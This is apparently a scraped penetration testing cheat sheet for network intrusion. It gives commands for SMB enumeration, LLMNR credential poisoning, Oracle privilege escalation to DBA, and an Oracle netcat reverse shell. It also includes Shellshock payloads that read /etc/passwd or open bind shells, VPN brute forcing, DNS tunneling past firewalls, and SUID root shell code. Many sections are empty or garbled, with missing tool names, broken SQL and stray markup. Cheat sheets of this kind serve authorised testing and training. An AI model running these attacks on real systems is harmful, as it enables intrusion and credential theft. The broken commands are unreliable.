Penetration testing tools cheat sheet, a quick reference high level overview for typical penetration testing engagements. Designed as a quick reference cheat sheet providing a high level overview of the typical commands you would run when performing a penetration test. For more in depth information I’d recommend the man file for the tool or a more specific pen testing cheat sheet from the menu on the right.

The focus of this cheat sheet is infrastructure / network penetration testing, web application penetration testing is not covered here apart from a few sqlmap commands at the end and some web server enumeration. For Web Application Penetration Testing, check out the Web Application Hackers Hand Book, it is excellent for both learning and reference.

If I’m missing any pen testing tools here give me a nudge on twitter.


17/02/2017 - Article updated, added loads more content, VPN, DNS tunneling, VLAN hopping etc - check out the TOC below.


Network Configuration

Set IP Address

ifconfig eth0 
ipcalc ipcalc 



WHOIS enumeration
Perform DNS IP Lookup
dig a @nameserver 
Perform MX Record Lookup
dig mx @nameserver
Perform Zone Transfer with DIG
dig axfr @nameserver

DNS Zone Transfers


Simply Email

Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long throttle times so google doesn’t think you’re a robot and make you fill out a Captcha.

git clone
./ -all -e TARGET-DOMAIN

Simply Email can verify the discovered email addresss after gathering.

Basic Finger Printing

Manual finger printing / banner grabbing.

GET / HTTP/1.1
User-Agent: Mozilla/5.0
Referrer: meh-domain

DNS Bruteforce


DNS Enumeration Kali - DNSRecon

root:~# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Port Scanning

Nmap Commands

For more commands, see the Nmap cheat sheet (link in the menu on the right).

Basic Nmap Commands:

I’ve had a few people mention about T4 scans, apply common sense here. Don’t use T4 commands on external pen tests (when using an Internet connection), you’re probably better off using a T2 with a TCP connect scan. A T4 scan would likely be better suited for an internal pen test, over low latency links with plenty of bandwidth. But it all depends on the target devices, embeded devices are going to struggle if you T4 / T5 them and give inconclusive results. As a general rule of thumb, scan as slowly as you can, or do a fast scan for the top 1000 so you can start pen testing then kick off a slower scan.

Nmap UDP Scanning
UDP Protocol Scanner
git clone

Scan a file of IP addresses for all services:

./ -f ip.txt 

Scan for a specific UDP service: -p ntp -f ips.txt
Other Host Discovery

Other methods of host discovery, that don’t use nmap…

Enumeration & Attacking Network Services

Penetration testing tools that spefically identify and / or enumerate network services:

SAMB / SMB / Windows Domain Enumeration

Samba Enumeration

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

Also see, nbtscan cheat sheet (right hand menu).

Fingerprint SMB Version
smbclient -L // 
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 
Enumerate SMB Users
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 
python /usr/share/doc/python-impacket-doc/examples
/ 192.168.XXX.XXX

RID Cycling: 192.168.XXX.XXX 500 50000 dict.txt

Metasploit module for RID cycling:

use auxiliary/scanner/smb/smb_lookupsid
Manual Null session testing:


net use \\TARGET\IPC$ "" /u:""


smbclient -L //
NBTScan unixwiz

Install on Kali rolling:

apt-get install nbtscan-unixwiz nbtscan-unixwiz -f > nbtscan

LLMNR / NBT-NS Spoofing

Steal credentials off the network.

Spoof / poison LLMNR / NetBIOS requests:


Capture the hashes:


You’ll end up with NTLMv2 hash, use john or hashcat to crack it.

Alternatively you can use responder.

git clone
python -i local-ip -I eth0

Run for the length of the engagement while you're working on other attack vectors.

A number of SNMP enumeration tools.

Fix SNMP output values so they are human readable:

apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf

Idenitfy SNMPv3 servers with nmap:

nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:

apt-get install snmp snmp-mibs-downloader

Metasploit's wordlist (KALI path below) has common credentials for v1 & 2 of SNMP, for newer credentials check out Daniel Miessler's SecLists project on GitHub (not the mailing list!).


R Services Enumeration

This is legacy, included for completeness.

nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual confirmation:

RSH Enumeration

RSH Run Commands
rusers Show Logged in Users
rlogin -l <user> <target>

e.g rlogin -l root TARGET-SUBNET/24

Finger Enumeration

Finger a Specific Username

Solaris bug that shows all logged in users:

finger [email protected] SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN finger 'a b c d e f g h'@sunhost 


Use nmap to identify machines running rwhod (513 UDP)

TLS & SSL Testing

Test all the things on a single host and output to a .html file:

./ -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html 

Vulnerability Assessment

Install OpenVAS 8 on Kali Rolling:

apt-get update
apt-get dist-upgrade -y
apt-get install openvas

Verify openvas is running using:

Login at - credentials are generated during openvas-setup.

Database Penetration Testing

Attacking database servers exposed on the network.


Install oscanner:

Run oscanner:

oscanner -s -P 1521 

Fingerprint Oracle TNS Version

Install tnscmd10g:

apt-get install tnscmd10g

Fingerprint oracle tns:

tnscmd10g version -h TARGET
nmap --script=oracle-tns-version 

Brute force oracle user accounts

Identify default Oracle accounts:

 nmap --script=oracle-sid-brute nmap --script=oracle-brute 

Run nmap scripts against Oracle TNS:

Oracle Privilege Escalation


  • Oracle needs to be exposed on the network
  • A default account is in use like scott

Quick overview of how this works:

  1. Create the function
  2. Create an index on table SYS.DUAL
  3. The index we just created executes our function SCOTT.DBA_X
  4. The function will be executed by SYS user (as that’s the user that owns the table).
  5. Create an account with DBA priveleges

In the example below the user SCOTT is used but this should be possible with another default Oracle account.

Identify default accounts within oracle db using NMAP NSE scripts:
nmap --script=oracle-sid-brute nmap --script=oracle-brute 

Login using the identified weak account (assuming you find one).

How to identify the current privilege level for an oracle user:
SQL> select * from session_privs; SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid curren_user is pragma autonomous_transaction; begin execute immediate 'grant dba to user1 identified by pass1';
return 'FOO';
Oracle priv esc and obtain DBA access:

Run netcat: netcat -nvlp 443code>

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
Run the exploit with a select query:
SQL> Select * from session_privs; 

You should have a DBA user with creds user1 and pass1.

Verify you have DBA privileges by re-running the first command again.

Get Oracle Reverse os-shell:
dbms_scheduler.create_job( job_name => 'MEH1337',job_type => 'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date => SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE); dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell'); end; 


Enumeration / Discovery:


nmap -sU --script=ms-sql-info


msf > use auxiliary/scanner/mssql/mssql_ping

Try using "Browse for More" via MS SQL Server Management Studio

msf > use auxiliary/admin/mssql/mssql_enum
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp


PuTTY Link tunnel

Forward remote port to local address:

plink.exe -P 22 -l root -pw "1337" -R 445: REMOTE-IP


SSH Pivoting

ssh -D -p 22 [email protected]

Add socks4 1010 in /etc/proxychains.conf

SSH pivoting from one network to another:

ssh -D -p 22 [email protected]

Add socks4 1010 in /etc/proxychains.conf

proxychains ssh -D -p 22 [email protected]

Add socks4 1011 in /etc/proxychains.conf

Meterpreter Pivoting

TTL Finger Printing

IPv4 Cheat Sheets

Classful IP Ranges

E.g Class A,B,C (depreciated)

IPv4 Private Address Ranges

Subnet cheat sheet, not really realted to pen testing but a useful reference.

VLAN Hopping

Using NCCGroups VLAN wrapper script for Yersina simplifies the process.

git clone
chmod 700

Identify VPN servers:

./ -p ike TARGET(s) 

Scan a range for VPN servers:

./ -p ike -f ip.txt


Use IKEForce to enumerate or dictionary attack VPN servers.


pip install pyip
git clone

Perform IKE VPN enumeration with IKEForce:

./ TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

IKE Aggressive Mode PSK Cracking

  1. Identify VPN Servers
  2. Enumerate with IKEForce to obtain the group ID
  3. Use ike-scan to capture the PSK hash from the IKE endpoint
  4. Use psk-crack to crack the hash
Step 1: Idenitfy IKE Servers
./ -p ike SUBNET/24
Step 2: Enumerate group name with IKEForce
./ TARGET-IP –e –w wordlists/groupnames.dic
Step 3: Use ike-scan to capture the PSK hash
ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
Step 4: Use psk-crack to crack the PSK hash

Some more advanced psk-crack options below:

psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP Hacking

Identifying PPTP, it listens on TCP: 1723

NMAP PPTP Fingerprint:
nmap –Pn -sV -p 1723 TARGET(S)
PPTP Dictionary Attack
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

DNS Tunneling

Tunneling data over DNS to bypass firewalls.

dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.

Attacking Machine


apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone
cd dnscat2/server
bundle install

Run dnscat2:

ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

Target Machine:

dnscat --host <dnscat server_ip>

BOF / Exploit

Exploit Research

Find exploits for enumerated hosts / services.

Searching for Exploits

Install local copy of exploit-db:

 searchsploit –u searchsploit apache 2.2 searchsploit "Linux Kernel" searchsploit linux 2.6 | grep -i ubuntu | grep local

Compiling Windows Exploits on Kali

 wget -O mingw-get-setup.exe wine mingw-get-setup.exe select mingw32-base cd /root/.wine/drive_c/windows wget && unzip cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe 

Cross Compiling Exploits

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Exploiting Common Vulnerabilities

Exploiting Shellshock

A tool to find and exploit servers vulnerable to Shellshock:

git clone
./ -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
cat file (view file contents)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock run bind shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock reverse Shell

Simple Local Web Servers

Python local web server command, handy for serving up shells and exploits on an attacking machine.

How to mount NFS / CIFS, Windows and Linux file shares.

HTTP / HTTPS Webserver Enumeration

Packet Inspection

Username Enumeration

Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

SNMP User Enumeration



Brute Forcing Services

Hydra FTP Brute Force

Hydra POP3 Brute Force

Hydra SMTP Brute Force

Use -t to limit concurrent connections, example: -t 15

Password Cracking

Password cracking penetration testing tools.

John The Ripper - JTR

Windows Penetration Testing Commands

See Windows Penetration Testing Commands.

Linux Penetration Testing Commands

See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.

Compiling Exploits

Some notes on compiling exploits.

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

Build Exploit GCC

Compile exploit gcc.

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

int main(void){ setresuid(0, 0, 0); system("/bin/bash");

SUID C Shell for /bin/sh

int main(void){ setresuid(0, 0, 0); system("/bin/sh");

Building the SUID Shell binary

gcc -o suid suid.c 

For 32 bit:

gcc -m32 -o suid suid.c 

Reverse Shells

See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec "/bin/sh";
perl e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell


Spawn TTY Shell from Vi

Run shell commands from vi:


Spawn TTY Shell NMAP


A basic metasploit cheat sheet that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see - Meterpreter Pivoting techniques.

Meterpreter Payloads

Windows reverse meterpreter payload

Windows VNC Meterpreter payload

Linux Reverse Meterpreter payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

Top metasploit modules.

Windows Metasploit Modules for privilege escalation.

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

CISCO IOS Commands

A collection of useful Cisco IOS commands.


Hash Lengths

Hash Examples

Likely just use hash-identifier for this but here are some example hashes:

SQLMap Examples

A mini SQLMap cheat sheet: